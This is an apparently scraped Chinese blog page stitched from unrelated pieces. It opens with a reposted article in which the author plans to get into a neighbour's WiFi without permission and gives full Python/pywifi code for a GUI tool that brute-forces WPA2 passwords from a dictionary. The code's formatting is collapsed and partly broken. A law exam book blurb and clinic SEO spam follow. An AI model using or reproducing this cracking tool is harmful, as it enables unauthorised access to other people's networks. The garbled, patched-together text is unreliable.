WEDCV155VD5RRV515DV

 

本文來源於小黃鴨編程社區 昨晚,家裡停網了,對於碼農而言,停網了,這能忍?打電話給修網絡的,說太晚了,要第二天才能過來...突然發現隔壁妹紙的wifi信號滿格哇,這讓我動了邪念,看有沒有辦法蹭下網,首先,用的是萬能鑰匙,沒有成功~~~...那我只能用字典來跑密碼了哦,這種小功能,肯定只有交給python來完成了,搜了一下發現pywifi這個組件剛好滿足需求。 那下面來記錄一下我的操作過程。 # 簡介Python豐富的第三方庫中自然也包括wifi的API,可以很方便的實現wifi的連接。如果有一份詳細的密碼本,可以實現wifi密碼的暴力破解,前提是你有足夠的耐心和時間去等待。# 思路 對給定的wifi名稱,我們循環使用密碼去一一做嘗試,如果失敗就斷開連接,直到連接成功為止。 即導入所需要的第三方庫(請自行下載安裝好),通過 pywifi 調用網卡接口,依次做測試,循環讀取密碼嘗試連接。在這裡只需要修改密碼文件路徑和wifi名稱即可。 # 環境準備 python2.7 pywifi模塊 字典 # 導入模塊from pywifi import *# 字典準備隨機搞的wifi弱口令TOP10。一行只包含一組密碼,腳本依次讀取每行密碼,直到找到正確的密碼為止。 ... # 完整代碼# coding:utf-8from tkinter import *from tkinter import ttkimport pywififrom pywifi import constimport timeimport tkinter.filedialogimport tkinter.messageboxself.init_window_name = init_window_name#密碼文件路徑self.get_value = StringVar#獲取破解wifi帳號self.get_wifi_value = StringVar#獲取wifi密碼self.get_wifimm_value = StringVarself.wifi = pywifi.PyWiFi#抓取網卡接口self.iface =self.wifi.interfaces[0]#抓取第一個無線網卡self.iface.disconnect#測試連結斷開所有連結time.sleep(1)#休眠1秒#測試網卡是否屬於斷開狀態assertself.iface.statusin[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]def__str__(self):return'(WIFI:%s,%s)'% (self.wifi,self.iface.name)#設置窗口defset_init_window(self):self.init_window_name.title("WIFI破解工具")self.init_window_name.geometry('+500+200')labelframe = LabelFrame(width=400, height=200,text="配置")labelframe.grid(column=0, row=0, padx=10, pady=10)self.search = Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0)self.pojie = Button(labelframe,text="開始破解",command=self.readPassWord).grid(column=1,row=0)self.label = Label(labelframe,text="目錄路徑:").grid(column=0,row=1)self.path = Entry(labelframe,width=12,textvariable =self.get_value).grid(column=1,row=1)self.file = Button(labelframe,text="添加密碼文件目錄",command=self.add_mm_file).grid(column=2,row=1)self.wifi_text = Label(labelframe,text="WiFi帳號:").grid(column=0,row=2)self.wifi_input = Entry(labelframe,width=12,textvariable =self.get_wifi_value).grid(column=1,row=2)self.wifi_mm_text = Label(labelframe,text="WiFi密碼:").grid(column=2,row=2)self.wifi_mm_input = Entry(labelframe,width=10,textvariable =self.get_wifimm_value).grid(column=3,row=2,sticky=W)self.wifi_labelframe = LabelFrame(text="wifi列表")self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW)# 定義樹形結構與滾動條self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a","b","c","d"))self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)self.wifi_tree.configure(yscrollcommand=self.vbar.set)# 表格的標題self.wifi_tree.column("a", width=50, anchor="center")self.wifi_tree.column("b", width=100, anchor="center")self.wifi_tree.column("c", width=100, anchor="center")self.wifi_tree.column("d", width=100, anchor="center")self.wifi_tree.heading("a", text="WiFiID")self.wifi_tree.heading("b", text="SSID")self.wifi_tree.heading("c", text="BSSID")self.wifi_tree.heading("d", text="signal")self.wifi_tree.grid(row=4,column=0,sticky=NSEW)self.wifi_tree.bind("<Double-1>",self.onDBClick)self.vbar.grid(row=4,column=1,sticky=NS)#搜索wifi#cmd /k C:Python27python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXITdefscans_wifi_list(self):# 掃描周圍wifi列表#開始掃描print("^_^ 開始掃描附近wifi...")self.iface.scantime.sleep(15)#在若干秒後獲取掃描結果scanres =self.iface.scan_results#統計附近被發現的熱點數量nums = len(scanres)print("數量: %s"%(nums))#print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))# 實際數據self.show_scans_wifi_list(scanres)returnscanres#顯示wifi列表defshow_scans_wifi_list(self,scans_res):forindex,wifi_infoinenumerate(scans_res):# print("%-*s| %s | %*s |%*s "%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))self.wifi_tree.insert("",'end',values=(index +1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))#print("| %s | %s | %s | %s "%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))#添加密碼文件目錄defadd_mm_file(self):self.filename = tkinter.filedialog.askopenfilenameself.get_value.set(self.filename)#Treeview綁定事件defonDBClick(self,event):self.sels= event.widget.selectionself.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])#print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])#讀取密碼字典,進行匹配defreadPassWord(self):self.getFilePath =self.get_value.get#print("文件路徑:%s " %(self.getFilePath))self.get_wifissid =self.get_wifi_value.get#print("ssid:%s " %(self.get_wifissid))self.pwdfilehander=open(self.getFilePath,"r",errors="ignore")try:self.pwdStr =self.pwdfilehander.readline#print("密碼: %s " %(self.pwdStr))ifnotself.pwdStr:breakself.bool1=self.connect(self.pwdStr,self.get_wifissid)#print("返回值:%s " %(self.bool1) )ifself.bool1:# print("密碼正確:"+pwdStr# res = "密碼:%s 正確 "%self.pwdStr;self.res ="===正確=== wifi名:%s 匹配密碼:%s "%(self.get_wifissid,self.pwdStr)self.get_wifimm_value.set(self.pwdStr)tkinter.messagebox.showinfo('提示','破解成功!!!')print(self.res)breakelse:# print("密碼:"+self.pwdStr+"錯誤")self.res ="---錯誤--- wifi名:%s匹配密碼:%s"%(self.get_wifissid,self.pwdStr)print(self.res)sleep(3)except:continue#對wifi和密碼進行匹配defconnect(self,pwd_Str,wifi_ssid):#創建wifi連結文件self.profile = pywifi.Profileself.profile.ssid =wifi_ssid#wifi名稱self.profile.auth = const.AUTH_ALG_OPEN#網卡的開放self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法self.profile.cipher = const.CIPHER_TYPE_CCMP#加密單元self.profile.key = pwd_Str#密碼self.iface.remove_all_network_profiles#刪除所有的wifi文件self.tmp_profile =self.iface.add_network_profile(self.profile)#設定新的連結文件self.iface.connect(self.tmp_profile)#連結time.sleep(5)ifself.iface.status == const.IFACE_CONNECTED:#判斷是否連接上else:isOK=Falseself.iface.disconnect#斷開time.sleep(1)#檢查斷開狀態returnisOKdefgui_start:init_window = Tkui = MY_GUI(init_window)print(ui)ui.set_init_window#ui.scans_wifi_listinit_window.mainloopgui_start # 結果 運行結果如下圖所示,你按照圖形介面的操作,便能開始跑起來了。 ... 你get到了沒? 記得點擊「在看」,然後轉給你身邊的朋友們。 ...

 

 

內容簡介

  不要再讓分數限制你的道路!
  三民輔考多年教學經驗的超級教師幫您備考!
  這本一次可以看到
  ★考點整理、資料補充、試題解析★


  《法學大意》涉及的法律內容較為寬廣,法律條文甚多,為避免考生備考不得要領,無端花費大量時間。三民輔考權威名師依憑多年教學經驗戮力編寫《法學大意》,書籍內容一舉囊括法學總論、公法、民法及刑法四大領域,系統整理相關條文及考試重點,輕鬆奠定基本功,幫助考生澈底建構法學系統概念!

  想要有效率的學習,想在最短的準備時間內獲得最高的分數,是考生們最關切的事!依照考試命題分析,出題都是一再重覆考古題中的重點內容。所以《法學大意》各章最末附上相關試題演練,幫助考生快速複習各章要點及內容,檢測學習成果,了解自己哪些部分需要補強,提昇應考實力!

  《法學大意》出題注重細節,想在《法學大意》考取高分,熟悉法條是不二法門。本書關鍵字眼以顯眼藍色字體標示,研讀不錯過,幫助考生辨別選項間之細微差異。書末收錄105年~107年考科試題,透過大量題目的演練,加強對法條的熟悉度以及記憶力,且快速掌握命題趨勢,輕鬆抓住出題方向!

  更新107年刑法修法重點條文:
  修正第121、122、131、143條之受賄罪、圖利罪與投票受賄罪,除調高罰金金額外,並刪除原條文中沒收內容,一體適用刑法總則中沒收規定,以達澈底剝奪犯罪所得之刑事政策目的。

  考試路上,三民與你同行,最新考情資訊詳見三民輔考網站:www.3people.com.tw/
 

目錄

第一部分        重點整理
第一章 法學總論
重點1.法律之概念、淵源及種類法律概說
重點2.法律之制定、公布、修正、廢止、效力
重點3.法律之適用與解釋
重點4.法律責任與法律制裁
重點5.救濟制度之基本原則

第二章 公 法
重點1.憲法的意義、分類及性質
重點2.憲法重要規定
重點3.行政法概述

第三章 民 法
重點1.總則編
重點2.債編
重點3.物權編
重點4.親屬編
重點5.繼承編

第四章 刑 法
重點1.總則    
重點2.分則    
重點3.公務員及貪污治罪條例

第二部分        歷屆試題詳解
105年公務人員初等考試試題(一)
105年公務人員初等考試試題(二)
105年鐵路人員特種考試試題
105年司法人員特種考試試題
106年公務人員初等考試試題(一)
106年公務人員初等考試試題(二)
106年鐵路人員特種考試試題
106年司法人員特種考試試題
107年公務人員初等考試試題
107年鐵路人員特種考試試題
107年司法人員特種考試試題
 

詳細資料

  • ISBN:4710139131457
  • 叢書系列:
  • 規格:平裝 / 496頁 / 17 x 23 x 2.5 cm / 普通級 / 雙色印刷 / 十六版
  • 出版地:台灣
  • 本書分類:> >

 

 

 

 

 

文章來源取自於:

壹讀 https://read01.com/AzgnjK5.html

博客來 https://www.books.com.tw/exep/assp.php/888words/products/0010805969

如有侵權,請來信告知,我們會立刻下架。

DMCA:dmca(at)kubonews.com

聯絡我們:contact(at)kubonews.com


名間鄉倦怠、疲勞改善中醫診所大城不用安眠藥治療治療有效中醫診所大村淺眠或多夢看什麼科
集集消化功能異常改善中醫診所 芳苑失眠中醫推薦 看不好的人都來這間草屯中醫診所,自律神經失調改善很多埔鹽耳鳴中醫推薦 信義鄉腎臟功能異常治療有效中醫診所 Dcard推薦的溪湖中醫診所,失眠睡不著改善很多建國科大附近推薦情緒緊張看什麼科 建國科大附近推薦瞳孔擴張或收縮治療中醫 大家都推薦這間南投中醫診所,失眠睡不著改善很多員林肌肉疼痛看什麼科 二林淺眠或多夢治療有效中醫診所 網友都推薦到這間溪湖中醫診所,失眠睡不著改善很多

arrow
arrow
    全站熱搜

    這個大推到不行 發表在 痞客邦 留言(0) 人氣()